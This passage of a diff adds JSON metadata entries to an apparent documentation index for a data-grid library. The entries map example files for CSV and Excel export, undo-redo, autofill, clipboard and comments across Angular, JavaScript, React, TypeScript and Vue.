"exampleTitle": "Export as a JavaScript Blob object", + "docPermalink": "/export-to-csv", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example2.ts", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example2", + "exampleTitle": "Export as a JavaScript Blob object", + "docPermalink": "/export-to-csv", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example2.vue", + "file": "guides__accessories-and-menus__export-to-csv__vue__example2.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example2", + "exampleTitle": "Export as a JavaScript Blob object", + "docPermalink": "/export-to-csv", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example3.ts", + "file": "guides__accessories-and-menus__export-to-csv__angular__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example3", + "exampleTitle": "Export as a string", + "docPermalink": "/export-to-csv", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example3.js", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example3.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example3", + "exampleTitle": "Export as a string", + "docPermalink": "/export-to-csv", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/react/example3.tsx", + "file": "guides__accessories-and-menus__export-to-csv__react__example3.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example3", + "exampleTitle": "Export as a string", + "docPermalink": "/export-to-csv", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example3.ts", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example3", + "exampleTitle": "Export as a string", + "docPermalink": "/export-to-csv", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example3.vue", + "file": "guides__accessories-and-menus__export-to-csv__vue__example3.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example3", + "exampleTitle": "Export as a string", + "docPermalink": "/export-to-csv", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/angular/example4.ts", + "file": "guides__accessories-and-menus__export-to-csv__angular__example4.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example4", + "exampleTitle": "Prevent CSV Injection attack", + "docPermalink": "/export-to-csv", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example4.js", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example4.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example4", + "exampleTitle": "Prevent CSV Injection attack", + "docPermalink": "/export-to-csv", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/react/example4.tsx", + "file": "guides__accessories-and-menus__export-to-csv__react__example4.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example4", + "exampleTitle": "Prevent CSV Injection attack", + "docPermalink": "/export-to-csv", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/javascript/example4.ts", + "file": "guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example4", + "exampleTitle": "Prevent CSV Injection attack", + "docPermalink": "/export-to-csv", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-csv/vue/example4.vue", + "file": "guides__accessories-and-menus__export-to-csv__vue__example4.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to CSV" + ], + "guide": "guides/accessories-and-menus/export-to-csv/export-to-csv.md", + "guideTitle": "Export to CSV", + "exampleId": "example4", + "exampleTitle": "Prevent CSV Injection attack", + "docPermalink": "/export-to-csv", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example1.ts", + "file": "guides__accessories-and-menus__export-to-excel__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-excel", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example1.js", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example1.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-excel", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/react/example1.tsx", + "file": "guides__accessories-and-menus__export-to-excel__react__example1.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-excel", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example1.ts", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-excel", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example1.vue", + "file": "guides__accessories-and-menus__export-to-excel__vue__example1.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/export-to-excel", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example2.ts", + "file": "guides__accessories-and-menus__export-to-excel__angular__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example2", + "exampleTitle": "Multi-sheet export", + "docPermalink": "/export-to-excel", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example2.js", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example2.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example2", + "exampleTitle": "Multi-sheet export", + "docPermalink": "/export-to-excel", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/react/example2.tsx", + "file": "guides__accessories-and-menus__export-to-excel__react__example2.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example2", + "exampleTitle": "Multi-sheet export", + "docPermalink": "/export-to-excel", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example2.ts", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example2", + "exampleTitle": "Multi-sheet export", + "docPermalink": "/export-to-excel", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example2.vue", + "file": "guides__accessories-and-menus__export-to-excel__vue__example2.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example2", + "exampleTitle": "Multi-sheet export", + "docPermalink": "/export-to-excel", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/angular/example3.ts", + "file": "guides__accessories-and-menus__export-to-excel__angular__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example3", + "exampleTitle": "Context menu", + "docPermalink": "/export-to-excel", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example3.js", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example3.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example3", + "exampleTitle": "Context menu", + "docPermalink": "/export-to-excel", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/react/example3.tsx", + "file": "guides__accessories-and-menus__export-to-excel__react__example3.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example3", + "exampleTitle": "Context menu", + "docPermalink": "/export-to-excel", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/javascript/example3.ts", + "file": "guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example3", + "exampleTitle": "Context menu", + "docPermalink": "/export-to-excel", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/export-to-excel/vue/example3.vue", + "file": "guides__accessories-and-menus__export-to-excel__vue__example3.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Export to Excel" + ], + "guide": "guides/accessories-and-menus/export-to-excel/export-to-excel.md", + "guideTitle": "Export to Excel", + "exampleId": "example3", + "exampleTitle": "Context menu", + "docPermalink": "/export-to-excel", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/undo-redo/angular/example1.ts", + "file": "guides__accessories-and-menus__undo-redo__angular__example1.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Undo and redo" + ], + "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", + "guideTitle": "Undo and redo", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/undo-redo", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/undo-redo/javascript/example.js", + "file": "guides__accessories-and-menus__undo-redo__javascript__example.js.json", + "breadcrumb": [ + "Accessories And Menus", + "Undo and redo" + ], + "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", + "guideTitle": "Undo and redo", + "exampleId": "example", + "exampleTitle": "Basic demo", + "docPermalink": "/undo-redo", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/undo-redo/react/example.tsx", + "file": "guides__accessories-and-menus__undo-redo__react__example.tsx.json", + "breadcrumb": [ + "Accessories And Menus", + "Undo and redo" + ], + "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", + "guideTitle": "Undo and redo", + "exampleId": "example", + "exampleTitle": "Basic demo", + "docPermalink": "/undo-redo", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/undo-redo/javascript/example.ts", + "file": "guides__accessories-and-menus__undo-redo__javascript__example.ts.json", + "breadcrumb": [ + "Accessories And Menus", + "Undo and redo" + ], + "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", + "guideTitle": "Undo and redo", + "exampleId": "example", + "exampleTitle": "Basic demo", + "docPermalink": "/undo-redo", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/accessories-and-menus/undo-redo/vue/example.vue", + "file": "guides__accessories-and-menus__undo-redo__vue__example.vue.json", + "breadcrumb": [ + "Accessories And Menus", + "Undo and redo" + ], + "guide": "guides/accessories-and-menus/undo-redo/undo-redo.md", + "guideTitle": "Undo and redo", + "exampleId": "example", + "exampleTitle": "Basic demo", + "docPermalink": "/undo-redo", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/angular/example1.ts", + "file": "guides__cell-features__autofill-values__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autofill-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/javascript/example1.js", + "file": "guides__cell-features__autofill-values__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autofill-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/react/example1.tsx", + "file": "guides__cell-features__autofill-values__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autofill-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/javascript/example1.ts", + "file": "guides__cell-features__autofill-values__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autofill-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/vue/example1.vue", + "file": "guides__cell-features__autofill-values__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/autofill-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/angular/example2.ts", + "file": "guides__cell-features__autofill-values__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example2", + "exampleTitle": "Autofill in a vertical direction only and creating new rows", + "docPermalink": "/autofill-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/javascript/example2.js", + "file": "guides__cell-features__autofill-values__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example2", + "exampleTitle": "Autofill in a vertical direction only and creating new rows", + "docPermalink": "/autofill-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/react/example2.tsx", + "file": "guides__cell-features__autofill-values__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example2", + "exampleTitle": "Autofill in a vertical direction only and creating new rows", + "docPermalink": "/autofill-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/javascript/example2.ts", + "file": "guides__cell-features__autofill-values__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example2", + "exampleTitle": "Autofill in a vertical direction only and creating new rows", + "docPermalink": "/autofill-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/autofill-values/vue/example2.vue", + "file": "guides__cell-features__autofill-values__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Autofill values" + ], + "guide": "guides/cell-features/autofill-values/autofill-values.md", + "guideTitle": "Autofill values", + "exampleId": "example2", + "exampleTitle": "Autofill in a vertical direction only and creating new rows", + "docPermalink": "/autofill-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/angular/example1.ts", + "file": "guides__cell-features__clipboard__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/basic-clipboard", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example1.js", + "file": "guides__cell-features__clipboard__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/basic-clipboard", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/react/example1.tsx", + "file": "guides__cell-features__clipboard__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/basic-clipboard", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example1.ts", + "file": "guides__cell-features__clipboard__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/basic-clipboard", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/vue/example1.vue", + "file": "guides__cell-features__clipboard__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/basic-clipboard", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/angular/example2.ts", + "file": "guides__cell-features__clipboard__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example2", + "exampleTitle": "Copy with headers", + "docPermalink": "/basic-clipboard", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example2.js", + "file": "guides__cell-features__clipboard__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example2", + "exampleTitle": "Copy with headers", + "docPermalink": "/basic-clipboard", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/react/example2.tsx", + "file": "guides__cell-features__clipboard__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example2", + "exampleTitle": "Copy with headers", + "docPermalink": "/basic-clipboard", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example2.ts", + "file": "guides__cell-features__clipboard__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example2", + "exampleTitle": "Copy with headers", + "docPermalink": "/basic-clipboard", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/vue/example2.vue", + "file": "guides__cell-features__clipboard__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example2", + "exampleTitle": "Copy with headers", + "docPermalink": "/basic-clipboard", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/angular/example3.ts", + "file": "guides__cell-features__clipboard__angular__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example3", + "exampleTitle": "Trigger copy & cut programmatically", + "docPermalink": "/basic-clipboard", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example3.js", + "file": "guides__cell-features__clipboard__javascript__example3.js.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example3", + "exampleTitle": "Trigger copy & cut programmatically", + "docPermalink": "/basic-clipboard", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/react/example3.tsx", + "file": "guides__cell-features__clipboard__react__example3.tsx.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example3", + "exampleTitle": "Trigger copy & cut programmatically", + "docPermalink": "/basic-clipboard", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/javascript/example3.ts", + "file": "guides__cell-features__clipboard__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example3", + "exampleTitle": "Trigger copy & cut programmatically", + "docPermalink": "/basic-clipboard", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/clipboard/vue/example3.vue", + "file": "guides__cell-features__clipboard__vue__example3.vue.json", + "breadcrumb": [ + "Cell Features", + "Clipboard" + ], + "guide": "guides/cell-features/clipboard/clipboard.md", + "guideTitle": "Clipboard", + "exampleId": "example3", + "exampleTitle": "Trigger copy & cut programmatically", + "docPermalink": "/basic-clipboard", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/angular/example1.ts", + "file": "guides__cell-features__comments__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/comments", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example1.js", + "file": "guides__cell-features__comments__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/comments", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/react/example1.tsx", + "file": "guides__cell-features__comments__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/comments", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example1.ts", + "file": "guides__cell-features__comments__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/comments", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/vue/example1.vue", + "file": "guides__cell-features__comments__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/comments", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/angular/example2.ts", + "file": "guides__cell-features__comments__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example2", + "exampleTitle": "Make a comment read-only", + "docPermalink": "/comments", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example2.js", + "file": "guides__cell-features__comments__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example2", + "exampleTitle": "Make a comment read-only", + "docPermalink": "/comments", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/react/example2.tsx", + "file": "guides__cell-features__comments__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example2", + "exampleTitle": "Make a comment read-only", + "docPermalink": "/comments", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/javascript/example2.ts", + "file": "guides__cell-features__comments__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": "guides/cell-features/comments/comments.md", + "guideTitle": "Comments", + "exampleId": "example2", + "exampleTitle": "Make a comment read-only", + "docPermalink": "/comments", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/comments/vue/example2.vue", + "file": "guides__cell-features__comments__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Comments" + ], + "guide": 